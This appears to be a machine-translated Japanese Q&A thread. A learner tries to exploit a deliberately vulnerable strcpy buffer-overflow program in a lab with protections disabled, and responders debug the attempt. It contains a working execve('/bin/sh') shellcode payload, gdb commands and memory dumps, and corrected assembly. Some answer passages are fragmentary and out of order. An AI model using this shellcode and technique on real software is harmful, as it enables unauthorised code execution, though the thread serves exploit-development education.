バッファオーバーフローに対して脆弱なプログラムの基本的な例があります( この他の質問から抜粋 )。
#include <string.h>
void vuln(char *arg) {
char buffer[500];
strcpy(buffer, arg);
}
int main( int argc, char** argv ) {
vuln(argv[1]);
return 0;
}
私の「思考の流れ」について説明します。
バッファ長がわかっていることを考えると、最初のアプローチは、 "NOP"(477バイト)+ shellcode (23バイト)+ NOP +リターンアドレスで完全に埋めることでした。私のバッファの。
gdb-peda$ r $(python -c "print '\x90'*477+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*12+'\xfc\xce\xff\xff'")
これが現在のメモリです:
0xffffcef8: 0x00 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xffffcf00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffcf08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffcf10: 0x90 0x90 0x90 0x90 0x00 0x90 0x90 0x90
0xffffcf18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
...
0xffffd0d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd0d8: 0x00 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73
0xffffd0e0: 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3
0xffffd0e8: 0x50 0x53 0x89 0xe1 0xb0 0x0b 0xcd 0x80
0xffffd0f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd0f8: 0x90 0x90 0x90 0x90 0xfc 0xce 0xff 0xff
1)最後の4バイトはEIPに書き込まれるアドレスであり、これで問題ありません。
2)私のシェルコードを適切に機能させるには、Wordの最初から開始する必要があります。 0xffffd0d8には、バッファオーバーフローによって上書きされない、削除できない0x00があります。これはバッファで数回発生しますが、私が読んだのはstrcpyのループ動作によるものです。
3)この状況では、「0x00」がシェルコードを破壊することなく、シェルコードを書き込むための別のスペースを見つける必要があると思います。
バッファ(0xffffcefc)の開始時にシェルコードの余地があるようですので、バッファを変更します
gdb-peda$ r $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*477+'\x90'*12+'\xfc\xce\xff\xff'")
シェルコードがメモリに正しく書き込まれていることを確認します。
gdb-peda$ x/10i 0xffffcefc
=> 0xffffcefc: add al,al
0xffffcefe: Push eax
0xffffceff: Push 0x68732f2f
0xffffcf04: Push 0x6e69622f
0xffffcf09: mov ebx,esp
0xffffcf0b: Push eax
0xffffcf0c: Push ebx
0xffffcf0d: mov ecx,esp
0xffffcf0f: mov al,0xb
0xffffcf11: int 0x80
gdb-peda$
しかし、コードを実行すると、shellcodeコマンドが実行されても、0xffffcf14の次の "0x00"バイトでクラッシュし、シェルは生成されません。
gdb-peda$ continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0xffffcf14 in ?? ()
gdb-peda$ x/10i 0xffffcf11
0xffffcf11: int 0x80
0xffffcf13: nop
=> 0xffffcf14: add BYTE PTR [eax-0x6f6f6f70],dl
0xffffcf1a: nop
0xffffcf1b: nop
0xffffcf1c: nop
0xffffcf1d: nop
0xffffcf1e: nop
0xffffcf1f: nop
0xffffcf20: nop
gdb-peda$ x/10xb 0xffffcf14
0xffffcf14: 0x00 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffcf1c: 0x90 0x90
gdb-peda$
コードは以下を使用してコンパイルされています。
gcc -m32 -z execstack strcpy_ex.c -fno-stack-protector -o strcpy
そしてもちろん、ASLRは無効になっています。
追加情報:
# uname -a
Linux kali 4.9.0-kali4-AMD64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux
私は悪用の初心者ですが、これは簡単な練習だと思っていて、頭痛の種になっています...このバッファオーバーフローを悪用する正しい方法を理解するのを手伝ってくれる人はいますか?
(Ubuntu 18.04仮想マシンで)再現できないnullバイト問題の他に、2つの問題が発生します。
add al,al
開始時の命令はxor eax,eax
。奇妙なことに、シェルコードの先頭にあるバイト\ x31\xc0は実際にはxor eax,eax
命令。\x31が何らかの形で\ x00に置き換えられている場合、別の場所で発生しているように、それがadd命令に変わります。
execve システムコールの3番目の引数を設定していません。これは、0x00000000をスタックにプッシュした直後にedxレジスタをespに設定することで実行できます。
xor eax, eax
Push eax
Push 0x68732f2f
Push 0x6e69622f
mov ebx,esp
Push eax
mov edx,esp ;set the envp argument
Push ebx
mov ecx,esp
mov al,0xb
int 0x80
Nullバイトの問題については、strcpyによって書き込まれた後の実際のバッファーにnullバイトがあるように聞こえるため、これは非常に奇妙です。 Assemblyでstrcpyを呼び出した直後にブレークポイントを設定し、バッファーメモリを調べます。すでにこれを実行した可能性がありますが、デバッガーを使用して、コピーが実行された後にnullバイトが何らかの形で忍び込んでいないことを確認してください。
あなたのシェルコードに問題があります:
上記を修正したら
これらの問題を修正しても問題が発生する場合は、説明からヌルバイトでクラッシュします(これは strcpy(3) が予期していることです)、そのため、悪い文字のケースのように聞こえます!
悪い文字をテストしてみます。 Peter Van Eeckhoutte はすでにこれをカバーしているすばらしい記事がありますが、私と同じように怠惰な場合は、ヌルバイト(0x00)をデバッガーバイトのブレーク(0xCC)に置き換えてください。
それが壊れたら、前の命令のすべてがシェルコードに対して期待どおりに実行された場合、別のnop(0x90)を追加するか、NULLバイトをRETNで置き換えることができます。
それが問題を引き起こす場合、割り込み(Int 0x80)は単一バイトであるため、JMP -2エンドレスループが中断するように、割り込みと最後のnullバイトを0xEBFEに置き換えることもできます。